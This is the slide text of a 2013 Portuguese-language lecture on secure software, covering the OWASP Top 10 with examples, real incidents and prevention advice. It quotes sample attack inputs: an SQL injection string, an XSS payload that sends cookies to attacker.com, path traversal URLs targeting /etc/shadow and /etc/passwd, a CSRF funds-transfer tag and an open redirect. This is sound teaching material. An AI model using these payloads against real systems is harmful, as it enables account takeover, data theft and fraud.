Palestra apresentada na Faculdade de Tecnologia SENAC (Porto Alegre) em 20/maio/2013

1. Augusto Lüdtke
20/maio/2013

2.  Por que software seguro?
 Conceitos básicos
 Princípios de segurança
 OWASPTop 10

3.  Esta apresentação não é sobre a HP
 A HP não é responsável pelas opiniões apresentadas aqui

5. Network
Application
Database Server
Web Server
Application Server
Operating System
Fonte de 95% das vulnerabilidades
(Software Security Testing: Let’s Get Back to Basics)
Alvo de 75% dos ataques
(Now Is the Time for Security at the Application Level)

6. Explosão no número de vulnerabilidades
* National Vulnerabilty Database

7. A vantagem de corrigir cedo

9.  CIA
 Confidencialidade
 Integridade
 Disponibilidade (Availability)
 AAA
 Autenticação
 Autorização
 Auditoria

23.  OWASP
▪ Open Web Application Security Project (Projeto Aberto de Segurança de Aplicações
Web)
▪ Organização internacional
▪ Sem fins lucrativos
▪ Contribui para a melhoria da segurança de software
 OWASPTop 10
 Conscientização sobre segurança de aplicações, identificando alguns dos
maiores riscos que as organizações enfrentam.

24. Versão 2010: risco x prevalência
 A1: Injection
 A2: Cross-Site Scripting (XSS)
 A3: Broken Authentication and Session Management
 A4: Insecure Direct Object References
 A5: Cross-Site Request Forgery (CSRF)
 A6: Security Misconfiguration
 A7: Insecure Cryptographic Storage
 A8: Failure to Restrict URLAccess
 A9: InsufficientTransport Layer Protection
 A10: Unvalidated Redirects and Forwards

25. A1: Injection
 Visão geral
▪ Dados não confiáveis enviados para um interpretador como parte de um
comando/consulta
▪ Interpretador executa um comando malicioso
▪ Interpretadores:
▪ Bancos de dados
▪ Servidores LDAP
▪ Shell
 Vulnerabilidades associadas
▪ CWE-77: Improper Neutralization of Special Elements used in a Command
('Command Injection')
▪ CWE-89: Improper Neutralization of Special Elements used in an SQL Command
('SQL Injection')

26. A1: Injection
 Exemplo
 A aplicação usa dados não-confiáveis na construção da consulta SQL:
String query = "SELECT * FROM accounts
WHERE custID='" + request.getParameter("id") +"'";
 O atacante modifica o parâmetro ‘id’ no browser para enviar ' or '1'='1:
http://example.com/app/accountView?id=' or '1'='1
 E a consulta executada é:
SELECT * FROM accounts WHERE custID='' or '1'='1'

27. A1: Injection
 Exemplos reais de SQL injection
 Microsoft UK (junho/2007)
▪ Defacement
 Nações Unidas (agosto/2007)
▪ Defacement

28. A1: Injection
 Exemplos reais de SQL injection
 Sony Pictures (junho/2011)
▪ Milhares de contas (1M x 37K)
▪ Nomes
▪ Senhas
▪ Endereços de e-mail
▪ Endereços residenciais
▪ Datas de nascimento
 Yahoo!Voices (julho/2012)
▪ Mais de 400K contas
▪ Usernames
▪ Senhas não criptografadas

29. A1: Injection
 Prevenção
 Consultas parametrizadas: os dados são separados dos comandos
String custname = request.getParameter("customerName");
String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, custname);
ResultSet results = pstmt.executeQuery();

30. A2: Cross Site Scripting (XSS)
 Visão geral
▪ Dados não-confiáveis são enviados para a aplicação (por URLs e formulários, por
exemplo)
▪ Aplicação repassa dados para o browser da vítima
▪ Browser da vítima executa os comandos
 Vulnerabilidades associadas
▪ CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site
Scripting')

31. A2: Cross Site Scripting (XSS)
 Exemplo
 A aplicação usa dados não-confiáveis na construção de código HTML:
(String) page += “<input name='creditcard' type='TEXT' value='" +
request.getParameter("CC") + "'>";
 O atacante cria uma URL para esta página, modificando o parâmetro CC para:
‘><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>
 Ao processar a URL, o browser do usuário processa a página contendo o
JavaScript e o ID da sessão do usuário é enviado para o website do atacante.

32. A2: Cross Site Scripting (XSS)
 Exemplos reais
 barackobama.com (abril/2008)
▪ XSS na seção Community Blogs levava usuário para o site hillaryclinton.com
 votehillary.org (abril/2008)
▪ XSS permitia a inserção de um iframe com conteúdo do site de Obama

33. A2: Cross Site Scripting (XSS)
 Prevenção
▪ Encoding/escaping de dados na entrada e na saída
▪ Fazer com que <script> seja codificado como &lt;script&gt; (evitando a sua execução)
▪ Proteger cookies com o atributo HttpOnly

34. A3: Broken Authentication and Session Management
 Visão geral
▪ O atacante usa falhas nas funções de autenticação ou gerenciamento de sessão
para assumir a identidade do usuário.
▪ Alvos: contas, senhas e IDs de sessão
 Vulnerabilidades associadas
▪ CWE-287: Improper Authentication

35. A3: Broken Authentication and Session Management
 Exemplos
 Usuário autenticado informa os amigos sobre a passagem que comprou:
http://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Ha
waii
 Mas acaba compartilhando sua ID de sessão (e seu cartão de crédito).

36. A3: Broken Authentication and Session Management
 Exemplos reais
 Timeout da aplicação não é definido apropriadamente:

37. A3: Broken Authentication and Session Management
 Exemplos reais
 Senhas não criptografadas no banco de dados:
▪ DreamHost (janeiro/2012)
▪ Billabong (julho/2012)

38. A3: Broken Authentication and Session Management
 Prevenção
▪ Adicione um timeout à sessão para reduzir a janela de oportunidade
▪ Use funções de hash e “salt” para armazenar senhas
▪ Transmita as credenciais somente sobre HTTPS

39. A4: Insecure Direct Object References
 Visão geral
▪ O atacante, que é um usuário autorizado do sistema, modifica o valor de um
parâmetro que aponta para um objeto do sistema (arquivo, registro, etc.)
▪ A aplicação não verifica as permissões necessárias e dá acesso indevido às
informações
 Vulnerabilidades associadas
▪ CWE-639: Authorization BypassThrough User-Controlled Key
▪ CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path
Traversal')

40. A4: Insecure Direct Object References
 Exemplo
 A aplicação usa dados não verificados numa consulta SQL acessando
informações da conta:
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt = connection.prepareStatement(query , ...);
pstmt.setString(1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery();
 O atacante modifica o parâmetro ‘acct’ no browser para enviar o número da
conta que ele quiser:
http://example.com/app/accountInfo?acct=notmyacct

41. A4: Insecure Direct Object References
 Exemplo
 A aplicação abre arquivos que são determinados pelo usuário
http://some_site.com/../../../../etc/shadow
http://some_site.com/get-files?file=/etc/passwd
 Exemplos de path traversal em servidores web:
▪ Nginx (CVE-2009-3898)
▪ ApacheTomcat (CVE-2009-2902)
▪ IIS (CVE-2000-0884)

42. A4: Insecure Direct Object References
 Exemplos reais
 Dados de outros usuários acessados com pequenas mudanças na URL:
▪ Passport Canada (dezembro/2007)
▪ Citibank (junho/2011)

43. A4: Insecure Direct Object References
 Prevenção
▪ Verifique se o usuário tem permissão para acessar o objeto requerido
▪ Verifique se o caminho do arquivo requerido está dentro do “Document Root”
▪ Normalize/canonicalize a requisição antes de validá-la
▪ Transforme %2e%2e%5c em ..

44. A5: Cross-Site Request Forgery (CSRF)
 Visão geral
▪ Um atacante faz o browser da vítima enviar um comando para uma aplicação web
vulnerável
▪ Browser inclui automaticamente dados de autenticação do usuário
▪ Aplicação executa o comando em função da confiança que tem no usuário
 Vulnerabilidades associadas
▪ CWE-352: Cross-Site Request Forgery (CSRF)

45. A5: Cross-Site Request Forgery (CSRF)
 Exemplo
 Site do banco recebe requisições de transferência no seguinte formato:
http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
 Atacante monta uma requisição maliciosa e a insere numa tag de imagem ou
iframe:
<img src="http://example.com/app/transferFunds?
amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />
 Se o usuário estiver logado no banco e abrir a página maliciosa, o banco irá
transferir o dinheiro para o atacante.

46. A5: Cross-Site Request Forgery (CSRF)
 Exemplo reais
 Vulnerabilidades de CSRF permitiam:
▪ Apagar conteúdo (fotos, vídeos, apresentações, etc.)
▪ Postar comentários
▪ Seguir usuários/perfis

47. A5: Cross-Site Request Forgery (CSRF)
 Prevenção
▪ Incluir token não-previsível (synchronizer token) no corpo ou URL de cada requisição
HTTP
▪ Limitar o tempo de vida dos cookies de sessão

48. A6: Security Misconfiguration
 Visão geral
▪ É necessária uma configuração segura definida para a aplicação, frameworks,
servidores de aplicação, servidores web, bancos de dados e plataforma.
▪ Inclui configurações default e atualização de pacotes
 Vulnerabilidades associadas
▪ CWE-2: Environment

49. A6: Security Misconfiguration
 Exemplo real
 Locaweb (setembro/2010)
▪ Vulnerabilidade no kernel Linux (CVE-2010-3081)
▪ Mais de 25 mil sites atacados
▪ Troca de acusações entre Locaweb e Red Hat

50. A6: Security Misconfiguration
 Prevenção
▪ Defina um processo para manter o sistema (incluindo bibliotecas) atualizado com
todos updates e patches
▪ Desabilite serviços, portas, contas e privilégios desnecessários
▪ Modifique ou desabilite senhas default

51. A7: Insecure Cryptographic Storage
 Visão geral
 Muitas aplicações não protegem adequadamente dados sensíveis:
▪ Não criptografam os dados
▪ Usam algoritmos inadequados
▪ Não protegem as chaves criptográficas
 Vulnerabilidades associadas
▪ CWE-310: Cryptographic Issues
▪ CWE-312: Cleartext Storage of Sensitive Information
▪ CWE-326: Inadequate Encryption Strength

52. A7: Insecure Cryptographic Storage
 Exemplo real
 LinkedIn (junho/2012)
▪ Vazamento de 6,5 milhões de senhas criptografadas
▪ Senhas armazenadas como hashes SHA-1
▪ Não utilizavam “salt”
▪ Vulneráveis a um ataque com “rainbow tables”

53. A7: Insecure Cryptographic Storage
 Prevenção
▪ Identifique quais são os dados sensíveis
▪ Use as proteções adequadas
▪ Algoritmos seguros
▪ Criptografia do sistema de arquivos
▪ Criptografia de registros no banco de dados
▪ Funções de hash com “salt” para armazenar senhas
▪ Gerenciamento de chaves criptográficas
▪ Geração
▪ Armazenamento

54. A8: Failure to Restrict URL Access
 Visão geral
▪ O atacante, que é um usuário do sistema, altera a URL para apontar para uma
página privilegiada.
▪ A aplicação não verifica se aquele usuário tem permissão para acessar aquela
página
 Vulnerabilidades associadas
▪ CWE-285: Improper Authorization

55. A8: Failure to Restrict URL Access
 Exemplo real
 D-Link DSL-504T (CVE-2005-1827)
▪ Qualquer usuário obtinha acesso (sem autenticação) ao roteador através da URL
http://ipdoroteador/cgi-bin/firmwarecfg
▪ Com este acesso, o usuário podia
▪ Atualizar o firmware
▪ Reiniciar o roteador
▪ Restaurar uma configuração salva

56. A8: Failure to Restrict URL Access
 Prevenção
▪ Inclua controles de autenticação e autorização em cada página
▪ Use políticas de autenticação e autorização baseadas em papéis, para diminuir o
esforço de manutenção
▪ O mecanismo de autorização deve negar todos acessos por default, exigindo
permissões explícitas para cada página

57. A9: InsufficientTransport Layer Protection
 Visão geral
 Aplicações falham em autenticar, criptografar e proteger a confidencialidade
e integridade de tráfego de rede sensível.
 Vulnerabilidades associadas
▪ CWE-319: Cleartext Transmission of Sensitive Information

58. A9: InsufficientTransport Layer Protection
 Exemplo real
 MI-5 (abril/2012)
▪ Certificado SSL expirado

59. A9: InsufficientTransport Layer Protection
 Exemplo real
 Firesheep (outubro/2010)
▪ Intercepta cookies não criptografados de sites como Facebook e Twitter

60. A9: InsufficientTransport Layer Protection
 Prevenção
▪ Use SSL em todas páginas sensíveis. Redirecione requisições HTTP para as versões
HTTPS.
▪ Proteja os cookies com o atributo Secure
▪ Garanta que o seu certificado seja validado e aceito nos browsers dos clientes:
▪ Domínios
▪ Validade
▪ Autoridade certificadora (CA)

61. A10: Unvalidated Redirects and Forwards
 Visão geral
 A aplicação faz redirects (com HTTP 302, por exemplo) utilizando parâmetros
do usuário para de terminar o destino. Um atacante pode criar uma URL com
um domínio conhecido, mas que levará o usuário para uma página maliciosa.
 Vulnerabilidades associadas
▪ CWE-601: URL Redirection to Untrusted Site ('Open Redirect')

62. A10: Unvalidated Redirects and Forwards
 Exemplo
 A aplicação tem uma página chamada “redirect.jsp”, que recebe um
parâmetro “url”. O atacante constrói uma URL que redireciona usuários para
um site malicioso que faz phishing e instala malwares:
http://www.example.com/redirect.jsp?url=evil.com
 Exemplo real
 Trac (CVE-2008-2951)
▪ Vulnerabilidade de open redirect no script de pesquisa permitia redirect através de
uma URL no parâmetro q.

63. A10: Unvalidated Redirects and Forwards
 Prevenção
▪ Não use redirects
▪ Se usar redirects, não envolva parâmetros do usuário para determinar o destino
▪ Se usar parâmetros, garanta que o valor seja válido e autorizado para o usuário

65.  Livros
 Sites
 www.owasp.org
 cwe.mitre.org
 Notícias
 nakedsecurity.sophos.com
 thehackernews.com
 www.forbes.com/sites/andygreenberg/
 www.h-online.com
 www.net-security.org
 www.securitybloggersnetwork.com
 @augusto_ludtke